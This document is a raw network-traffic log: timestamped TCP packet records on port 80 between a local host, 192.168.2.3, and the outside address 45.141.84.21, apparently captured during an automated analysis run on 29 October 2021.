Oct 29, 2021 20:30:04.837404013 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.837412119 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.837421894 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.837449074 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.837469101 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.837486982 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.837533951 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.838783026 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.838798046 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.838854074 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.898585081 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.898600101 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.898618937 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.898627996 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.898726940 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.898752928 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.898758888 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.898766041 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.898778915 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.898798943 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.898802996 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.898813963 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.898823977 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.898827076 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.898859024 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.899171114 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.899184942 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.899199963 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.899208069 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.899244070 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.899261951 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.899432898 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.899445057 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.899462938 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.899475098 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.899491072 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.899497986 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.899503946 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.899513960 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.899529934 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.899554014 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.899715900 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.899749041 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.899765968 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.899786949 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.899800062 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.899816036 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.899815083 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.899823904 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.899864912 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.899867058 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.899879932 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.899897099 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.899904966 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.899919987 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.899950981 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.900044918 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.900058031 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.900074005 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.900082111 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.900105000 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.900126934 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.900434971 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.900448084 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.900465012 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.900477886 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.900490046 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.900506973 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.900506973 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.900515079 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.900533915 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.900554895 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.961806059 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.961821079 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.961841106 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.961849928 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.961999893 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.962007999 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.962022066 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.962035894 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.962049007 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.962057114 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.962068081 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.962080956 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.962089062 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.962099075 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.962117910 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.962167025 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.962373972 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.962387085 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.962404013 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.962410927 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.962438107 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.962455034 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.962507963 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.962522030 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.962538958 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.962551117 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.962564945 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.962587118 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.962599993 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.962614059 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.962624073 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.962657928 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.962910891 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.962933064 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.962945938 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.962954044 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.962973118 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.963001013 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.963043928 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.963056087 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.963076115 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.963088989 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.963116884 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.963130951 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.963144064 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.963155985 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.963164091 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.963182926 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.963212967 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.963742971 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.963754892 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.963767052 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.963774920 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.963816881 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.963835955 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.963861942 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.963875055 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.963886976 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.963900089 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.963915110 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.963916063 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.963928938 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.963937998 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.963938951 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.963973045 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.973311901 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.973385096 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.024533987 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.024558067 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.024570942 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.024580002 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.024686098 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.024712086 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.024724007 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.024724960 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.024740934 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.024755001 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.024756908 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.024789095 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.024841070 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.024867058 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.024909019 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.024916887 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.024916887 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.024941921 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.025291920 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.025340080 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.025357008 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.025367975 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.025381088 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.025392056 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.025404930 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.025425911 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.025460958 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.025531054 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.025583029 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.025599003 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.025607109 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.025619030 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.025635004 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.025635958 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.025649071 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.025657892 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.025662899 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.025691032 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.025959969 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.025971889 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.025988102 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.025996923 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.026009083 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.026021004 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.026037931 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.026038885 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.026047945 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.026061058 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.026074886 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.026113987 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.026448011 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.026460886 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.026477098 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.026484966 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.026534081 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.026554108 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.026648998 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.026698112 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.026715040 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.026721954 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.026753902 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.026787996 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.026809931 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.026892900 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.026910067 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.026918888 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.026956081 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.026985884 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.027051926 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.027065039 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.027081013 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.027108908 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.027112961 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.028458118 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.087537050 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.087558031 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.087575912 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.087589025 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.087603092 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.087619066 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.087641001 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.087649107 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.087650061 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.087682962 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.087706089 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.087837934 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.087862015 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.087878942 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.087887049 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.087905884 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.087924957 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.088068008 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.088087082 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.088099957 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.088107109 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.088145018 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.088161945 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.088344097 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.088356972 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.088368893 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.088376999 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.088397026 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.088409901 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.088586092 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.088603020 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.088620901 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.088634014 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.088653088 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.088665962 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.088670015 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.088681936 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.088694096 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.088722944 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.088783026 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.088799000 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.088816881 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.088824987 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.088843107 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.088879108 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.089080095 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.089098930 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.089111090 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.089118958 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.089140892 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.089157104 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.089251995 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.089265108 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.089277983 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.089286089 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.089308977 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.089328051 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.089413881 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.089461088 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.089473009 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.089483976 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.089489937 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.089529037 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.089565992 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.089629889 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.089632988 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.089647055 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.089658976 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.089690924 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.089849949 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.089864016 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.089880943 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.089888096 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.089920998 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.090066910 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.090123892 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.090142965 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.090156078 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.090167999 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.090204000 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.097935915 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.150543928 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.150567055 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.150584936 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.150604963 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.150613070 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.150646925 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.150824070 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.150842905 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.150866985 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.150886059 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.150898933 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.150922060 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.150926113 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.150945902 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.150964975 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.150995970 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.151388884 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.151535988 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.151555061 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.151571989 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.151618004 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.151658058 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.151896000 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.151916027 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.151940107 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.151957989 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.151982069 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.151983023 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.152002096 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.152019024 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.152019978 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.152039051 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.152043104 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.152057886 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.152076960 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.152077913 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.152117014 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.152141094 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.152159929 CEST	80	49859	45.141.84.21	192.168.2.3
